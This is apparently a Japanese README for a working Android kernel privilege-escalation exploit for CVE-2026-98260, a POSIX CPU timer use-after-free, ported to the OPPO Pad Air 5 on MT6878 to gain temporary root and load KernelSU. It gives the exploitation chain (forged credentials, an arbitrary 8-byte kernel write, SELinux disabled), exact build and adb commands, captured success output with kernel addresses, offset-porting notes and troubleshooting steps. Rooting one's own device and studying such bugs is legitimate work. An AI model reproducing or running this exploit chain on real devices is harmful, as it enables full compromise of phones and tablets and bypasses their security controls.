CVE-2026-98260(POSIX CPUタイマーUAF)に対するAndroidカーネルLPEエクスプロイト。OPPO Pad Air 5 / MT6878向けに移植され、一時的なroot権限を取得してKernelSUをロードします。
ご自身のデバイスでのみ使用してください。 これはカーネルexploitであり、失敗するとpanic/再起動する可能性があります。未保存のデータがあるデバイスでは実行しないでください。一時的なrootであり、ハードリブートで消えます。
このリポジトリの元のブランチ adapt-6.1.157-findx7 は OPPO Find X7(6.1.157-android14-11-o-ga8ed1c96e9fd)向けです。現在の作業ツリーでは OPPO Pad Air 5 / OPD2501 / MT6878(6.1.157-android14-11-o-gd9a844c1f21f)で実機動作を確認済みです....
この移植は @zjns(Kofua)の zjns/CVE-2026-98260 および adapt-6.1.157-findx7 ブランチに基づいています。
併せて @woshigenm(woshigenm/CVE-2026-98260 に感謝します。
| 項目 | 値 |
|---|---|
| デバイス | OPPO Pad Air 5(OPD2501 / OP6541L1) |
| SoC | MediaTek MT6878(Dimensity 7300 Ultra) |
| システム | ColorOS 16 / Android 16 |
| バージョン番号 | 16.0.5.1200 |
| フィンガープリント | OPPO/OPD2501/OP6541L1:16/BP2A.250605.015/B.25a6186-6e051-c6049:user/release-keys |
| カーネル | 6.1.157-android14-11-o-gd9a844c1f21f |
| SPL | 2026-08-01 |
| 開始時のID | adb shell、uid 2000、u:r:shell:s0、readtracefs あり |
| KSU マネージャー | ReSukiSU(com.resukisu.resukisu) |
| テストバイナリ | timer/timer(ローカルビルド、未コミット) |
カーネル文字列が1文字でも異なる場合は、そのまま適用しないでください。まず「移植ノート」に従って定数と begin_new_exec の順序を再確認してください。
| 能力 | コマンド | 結果 |
|---|---|---|
| ワンショットのreal cred root | timer | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
| 対話型rootシェル | timer shell | uid=0 の sh(shellドメイン) |
| ReSukiSU/KSU | timer fake | KSU_LOADED、su → u:r:ksu:s0、Enforcing |
| LKM | grep kernelsu /proc/modules | kernelsu … Live |
実測成功時の出力(抜粋):
[+] plant1 target=5398 etid=5410 zombie code=2 status=9
[+] plant1 free_seen=0 burst hit=1 after 11ms
[+] plant1 write mode=fake target=0xffffff8006b6c078
[+] fake cred A=0xffffff815a996cd8 selinux_state=0xffffffdeea27d0a8
[+] stage selinux target=0xffffffdeea27d0a1 mode=zero attempt=1
[+] cred writes landed, waking child
[ksu] ksud=.../com.resukisu.resukisu.../lib/arm64/libksud.so
version=ksud 4.2.0-rc3-34-g9dbce02e (uapi: 5)
[ksu] late-load rc=0
KSU_LOADED
[!] fake cred page held; reboot to clean -- parking without reap (zombie held)
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
Enforcing
kernelsu 249856 0 - Live 0x0000000000000000 (OE)
CVE-2026-98260 は exec パス上の POSIX CPU timer UAF である:非リーダースレッドの execve() が de_thread() をトリガーし、timer ノードは依然として旧 task のキューに残る。もし begin_new_exec() の失敗点(unshare_files() / set_mm_exe_file() / exec_mmap() / exec_task_namespaces())より前に SIGKILL を受けると、exit_itimers() が先に k_itimer を解放し、その後 release_task() がこの解放済みノードに対して rb_erase() を実行する。
CLOCK_THREAD_CPUTIME_ID + execve / de_thread 競合。親プロセス/helper が exec_mmap ウィンドウで SIGKILL を送信。rb_node を構築。rb_erase() で対象アドレスに 8 バイトを書き込む。uid/gid)をゼロ書き込みし、setuid(0) + exec sh → u:r:shell:s0。task->cred を reclaimed ページ内の fake cred(full caps)へ向け、SELinux enforcing を無効化し、さらに ksud late-load で KSU LKM をロード → u:r:ksu:s0。現在のカーネルの begin_new_exec() では、posix_cpu_timers_exit() の呼び出しは unshare_files/set_mm_exe_file/exec_mmap の後(0xffffffc0082e6e40)に位置しており、すなわち失敗パスが先に exit_itimers() に到達するため、脆弱性の順序が存在する。
wait_zombie():0.4s → 4s元の分岐は 2000 × 200µs = 0.4s であった。MT6878 上では、killer_fn が exec スレッドの TID の消滅を待って SIGKILL を発行する前に、親プロセスが no zombie と判定して spray を停止し child を hold してしまい、その結果 10/10 すべてが no zombie となった。
20000 × 200µs = 4s に変更した後、killer は正常にヒットする:
[killer] tid=6046 tgid=6041
[killer] killing tgid=6041
[+] plant1 target=6041 etid=6046 zombie code=2 status=9
[+] plant1 free_seen=1 burst hit=1 after 12ms
status=9 は SIGKILL です;free_seen/burst hit は victim page が reclaim されたことを示します。killer_fn の 2 つのログは timer.c に残してあり、トラブルシューティングに便利です。
write_ksu_script() では元々 me.weishu.kernelsu でした;本機には ReSukiSU がインストールされているため、com.resukisu.resukisu に変更する必要があり、併せて以下も同様に変更します:
PKG=com.resukisu.resukisufind … '*/com.resukisu.resukisu*/lib/arm64/libksud.so'--package-name com.resukisu.resukisu--kmi android14-6.1 は変更しません。公式 KernelSU に戻す場合は、この 3 箇所を me.weishu.kernelsu に戻してください。
NDK r28c(28.2.13676358)、aarch64 / API 35、例:
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断(不触发 UAF)
adb shell /data/local/tmp/timer ids # page_alloc/page_free 事件 id
adb shell /data/local/tmp/timer leak # base/cred/task 泄漏
# 一次性 real cred root(打印 uid/context/ROOT_SHELL_OK 后退出)
adb shell /data/local/tmp/timer
# 交互 root shell(u:r:shell:s0)
adb shell /data/local/tmp/timer shell
# ReSukiSU/KSU(u:r:ksu:s0)
adb shell /data/local/tmp/timer fake
adb shell /system/bin/su -c 'id; getenforce'
adb shell 'grep "^kernelsu " /proc/modules'
成功の指標:
uid=0(root) ... context=u:r:ksu:s0
Enforcing
kernelsu … Live
parkedの場合はハードリブートし、同じboot内で連続実行しないこと。timerのparkedプロセス/held childをkillしないこと。park_forever()は意図的にSIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPEを無視する。SIGKILLはrelease_taskをトリガーしてstale nodeに触れ、直接panicを引き起こす可能性がある。ハードリブートが唯一の安全なクリーンアップ方法である。timer fake成功後、fake credページはheld状態になる。ハードリブートでクリアする。/data/local/tmpがクリアされるため、timerを再pushする必要がある。u:r:shell:s0は依然としてshellドメインである。より完全なrootが必要な場合はKSUのu:r:ksu:s0を使用する。| 現象 | 意味 | 処理 |
|---|---|---|
[-] plant1 no zombie; holding child | childがexec_mmapウィンドウ内でkillされなかった | wait_zombieが4sか確認;killerログ;ハードリブート後に再試行 |
[-] plant1 victim not captured (recs=0) | 該当CPUのtrace pipeが記録をキャプチャできなかった | timer idsで確認;CPU 2;ハードリブート |
[!] ... parking without reap (zombie held) | プロセスが設計通りに駐留している | killしないこと;ハードリブート |
page event ids not found | trace bufferが小さすぎる/状態が汚れている | ハードリブート;trace bufferが8192 KB以上か確認 |
KSU_MISSING / late-load失敗 | パッケージ名/libksud.so/KMIの不一致 | pm path com.resukisu.resukisu、lib/arm64/libksud.so、--kmi android14-6.1を確認 |
| デバイスが直接オフライン/再起動 | write段階でのpanicの可能性 | ハードリブート;次回は先にログを追加してV/A/targetを確認 |
panic_on_warnはfakeチェーン内で読み書きされる;本機での実測値は0。未保存のデータがある状態で実行しないこと。
begin_new_execを逆アセンブルし、posix_cpu_timers_exitがde_thread()の直後に呼ばれている(修正版)か、それとも依然としてexec_task_namespacesの後にある(脆弱版)かを確認する。do_timer_createのtimer割り当てcall site(+0xa8付近、posix_timers_cacheのkmem_cache_alloc);copy_processのtask_struct_cachep割り当てcall site(+0x160付近);selinux_state、panic_on_warn、init_cred、root_user、init_user_ns、init_ucounts、init_groups;task_struct.credのオフセット、struct cred / k_itimer / task_structのサイズ。wait_zombieの0.4sはMT6878では不十分;4sは今回の実測値である。SoC/スケジューラによってはさらに大きくする必要があるかもしれないため、まずkillerログで確認すること。per_cpu/cpu{g_cpu}/trace_pipe_raw;実測ではCPU 2が使用可能で、CPU 0/4ではrecs=0が発生した。timer ids/leakで先に確認すること。com.resukisu.resukisu;公式KernelSUはme.weishu.kernelsu。libksud.soはpm pathのAPKと同じディレクトリのlib/arm64/にある;late-loadの--kmiはデバイスのカーネルと一致させる必要がある(本機はandroid14-6.1)。echo 1 > /sys/fs/selinux/enforceでEnforcingに戻す;u:r:ksu:s0ではgetenforceはEnforcingになるはずである。